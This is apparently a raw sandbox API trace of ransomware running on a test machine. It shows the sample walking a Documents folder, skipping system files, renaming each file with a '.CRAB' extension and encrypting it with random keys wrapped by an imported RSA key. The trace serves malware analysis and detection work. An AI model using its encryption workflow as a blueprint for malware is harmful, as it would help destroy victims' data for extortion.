	[0126.850] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0126.850] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.850] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.850] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0126.850] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.850] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.851] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0126.853] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0126.854] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.854] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.854] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0126.854] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.854] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.854] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0126.855] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0126.855] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6ec00) returned 1
	[0126.858] CryptImportKey (in: hProv=0xd6ec00, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x318e6b8) returned 1
	[0126.858] CryptGetKeyParam (in: hKey=0x318e6b8, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0126.858] CryptEncrypt (in: hKey=0x318e6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0126.858] GetLastError () returned 0x0
	[0126.858] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0126.858] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0126.861] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x318ee78) returned 1
	[0126.861] CryptGetKeyParam (in: hKey=0x318ee78, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0126.861] CryptEncrypt (in: hKey=0x318ee78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0126.862] GetLastError () returned 0x0
	[0126.862] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.862] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\aaeg.doc.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\aaeg.doc.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0126.862] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0126.863] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0126.863] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0x178f4, lpOverlapped=0x0) returned 1
	[0126.876] VirtualAlloc (lpAddress=0x0, dwSize=0x17900, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0126.878] VirtualAlloc (lpAddress=0x0, dwSize=0x17900, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0126.880] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.881] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffe870c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.881] WriteFile (in: hFile=0x3ec, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x17900, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314c9b4*=0x17900, lpOverlapped=0x0) returned 1
	[0126.882] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.882] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.886] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0126.886] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0126.886] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0126.886] CloseHandle (hObject=0x3ec) returned 1
	[0126.886] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.887] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.887] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.887] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.887] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.888] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.888] FindNextFileW (in: hFindFile=0x318e8b8, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0126.888] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0126.888] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0126.888] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\CRAB-DECRYPT.txt"
	[0126.888] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.888] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\CRAB-DECRYPT.txt") returned 64
	[0126.888] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\CRAB-DECRYPT.txt") returned 64
	[0126.888] lstrlenW (lpString=".txt") returned 4
	[0126.888] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.889] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0126.889] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.889] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\CRAB-DECRYPT.txt") returned 64
	[0126.889] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\CRAB-DECRYPT.txt") returned 64
	[0126.889] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0126.889] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0126.889] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0126.889] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0126.889] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0126.889] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0126.889] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0126.889] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0126.889] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0126.889] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.889] FindNextFileW (in: hFindFile=0x318e8b8, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0126.889] lstrcmpW (lpString1="cRq07 4X5BnevZciFsSq.ppt", lpString2=".") returned 1
	[0126.890] lstrcmpW (lpString1="cRq07 4X5BnevZciFsSq.ppt", lpString2="..") returned 1
	[0126.890] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\", lpString2="cRq07 4X5BnevZciFsSq.ppt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\cRq07 4X5BnevZciFsSq.ppt") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\cRq07 4X5BnevZciFsSq.ppt"
	[0126.890] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.890] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\cRq07 4X5BnevZciFsSq.ppt") returned 72
	[0126.890] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\cRq07 4X5BnevZciFsSq.ppt") returned 72
	[0126.890] lstrlenW (lpString=".ppt") returned 4
	[0126.890] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.890] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ppt ") returned 5
	[0126.890] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.890] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\cRq07 4X5BnevZciFsSq.ppt") returned 72
	[0126.890] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\cRq07 4X5BnevZciFsSq.ppt") returned 72
	[0126.891] lstrcmpiW (lpString1="cRq07 4X5BnevZciFsSq.ppt", lpString2="desktop.ini") returned -1
	[0126.891] lstrcmpiW (lpString1="cRq07 4X5BnevZciFsSq.ppt", lpString2="autorun.inf") returned 1
	[0126.891] lstrcmpiW (lpString1="cRq07 4X5BnevZciFsSq.ppt", lpString2="ntuser.dat") returned -1
	[0126.891] lstrcmpiW (lpString1="cRq07 4X5BnevZciFsSq.ppt", lpString2="iconcache.db") returned -1
	[0126.891] lstrcmpiW (lpString1="cRq07 4X5BnevZciFsSq.ppt", lpString2="bootsect.bak") returned 1
	[0126.891] lstrcmpiW (lpString1="cRq07 4X5BnevZciFsSq.ppt", lpString2="boot.ini") returned 1
	[0126.891] lstrcmpiW (lpString1="cRq07 4X5BnevZciFsSq.ppt", lpString2="ntuser.dat.log") returned -1
	[0126.891] lstrcmpiW (lpString1="cRq07 4X5BnevZciFsSq.ppt", lpString2="thumbs.db") returned -1
	[0126.891] lstrcmpiW (lpString1="cRq07 4X5BnevZciFsSq.ppt", lpString2="CRAB-DECRYPT.txt") returned 1
	[0126.891] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.891] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\cRq07 4X5BnevZciFsSq.ppt.CRAB") returned 77
	[0126.891] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\cRq07 4X5BnevZciFsSq.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\crq07 4x5bnevzcifssq.ppt")) returned 0x20
	[0126.891] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\cRq07 4X5BnevZciFsSq.ppt", dwFileAttributes=0x20) returned 1
	[0126.892] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\cRq07 4X5BnevZciFsSq.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\crq07 4x5bnevzcifssq.ppt"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\cRq07 4X5BnevZciFsSq.ppt.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\crq07 4x5bnevzcifssq.ppt.crab")) returned 1
	[0126.893] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0126.893] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\cRq07 4X5BnevZciFsSq.ppt.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\cRq07 4X5BnevZciFsSq.ppt.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\cRq07 4X5BnevZciFsSq.ppt.CRAB"
	[0126.893] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\cRq07 4X5BnevZciFsSq.ppt.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\cRq07 4X5BnevZciFsSq.ppt.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\cRq07 4X5BnevZciFsSq.ppt.CRAB.CRAB"
	[0126.893] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e6b0) returned 1
	[0126.896] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0126.896] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.896] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.896] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0126.896] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0126.896] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.896] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e9e0) returned 1
	[0126.899] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0126.899] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.900] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.900] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0126.900] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0126.900] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.900] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0126.900] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0126.901] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e6b0) returned 1
	[0126.903] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x318f2b8) returned 1
	[0126.903] CryptGetKeyParam (in: hKey=0x318f2b8, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0126.903] CryptEncrypt (in: hKey=0x318f2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0126.904] GetLastError () returned 0x0
	[0126.904] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0126.904] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e7c0) returned 1
	[0126.907] CryptImportKey (in: hProv=0xd6e7c0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x318f0b8) returned 1
	[0126.907] CryptGetKeyParam (in: hKey=0x318f0b8, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0126.907] CryptEncrypt (in: hKey=0x318f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0126.907] GetLastError () returned 0x0
	[0126.907] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0126.907] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\cRq07 4X5BnevZciFsSq.ppt.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\crq07 4x5bnevzcifssq.ppt.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0126.908] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0126.908] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0126.908] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0xb28e, lpOverlapped=0x0) returned 1
	[0126.921] VirtualAlloc (lpAddress=0x0, dwSize=0xb290, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0126.954] VirtualAlloc (lpAddress=0x0, dwSize=0xb290, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0126.955] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.956] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff4d72, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.956] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xb290, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0xb290, lpOverlapped=0x0) returned 1
	[0126.956] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.957] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.960] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0126.961] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0126.961] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0126.961] CloseHandle (hObject=0x3ec) returned 1
	[0126.961] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.961] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.961] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.962] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.962] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.962] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.962] FindNextFileW (in: hFindFile=0x318e8b8, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0126.962] lstrcmpW (lpString1="dNFKBF0QB.rtf", lpString2=".") returned 1
	[0126.962] lstrcmpW (lpString1="dNFKBF0QB.rtf", lpString2="..") returned 1
	[0126.962] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\", lpString2="dNFKBF0QB.rtf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\dNFKBF0QB.rtf") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\dNFKBF0QB.rtf"
	[0126.962] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.963] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\dNFKBF0QB.rtf") returned 61
	[0126.963] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\dNFKBF0QB.rtf") returned 61
	[0126.963] lstrlenW (lpString=".rtf") returned 4
	[0126.963] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.963] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".rtf ") returned 5
	[0126.963] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.963] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\dNFKBF0QB.rtf") returned 61
	[0126.963] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\dNFKBF0QB.rtf") returned 61
	[0126.963] lstrcmpiW (lpString1="dNFKBF0QB.rtf", lpString2="desktop.ini") returned 1
	[0126.963] lstrcmpiW (lpString1="dNFKBF0QB.rtf", lpString2="autorun.inf") returned 1
	[0126.963] lstrcmpiW (lpString1="dNFKBF0QB.rtf", lpString2="ntuser.dat") returned -1
	[0126.963] lstrcmpiW (lpString1="dNFKBF0QB.rtf", lpString2="iconcache.db") returned -1
	[0126.963] lstrcmpiW (lpString1="dNFKBF0QB.rtf", lpString2="bootsect.bak") returned 1
	[0126.963] lstrcmpiW (lpString1="dNFKBF0QB.rtf", lpString2="boot.ini") returned 1
	[0126.963] lstrcmpiW (lpString1="dNFKBF0QB.rtf", lpString2="ntuser.dat.log") returned -1
	[0126.964] lstrcmpiW (lpString1="dNFKBF0QB.rtf", lpString2="thumbs.db") returned -1
	[0126.964] lstrcmpiW (lpString1="dNFKBF0QB.rtf", lpString2="CRAB-DECRYPT.txt") returned 1
	[0126.964] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.964] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\dNFKBF0QB.rtf.CRAB") returned 66
	[0126.964] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\dNFKBF0QB.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\dnfkbf0qb.rtf")) returned 0x20
	[0126.964] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\dNFKBF0QB.rtf", dwFileAttributes=0x20) returned 1
	[0126.964] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\dNFKBF0QB.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\dnfkbf0qb.rtf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\dNFKBF0QB.rtf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\dnfkbf0qb.rtf.crab")) returned 1
	[0126.965] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0126.965] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\dNFKBF0QB.rtf.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\dNFKBF0QB.rtf.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\dNFKBF0QB.rtf.CRAB"
	[0126.966] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\dNFKBF0QB.rtf.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\dNFKBF0QB.rtf.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\dNFKBF0QB.rtf.CRAB.CRAB"
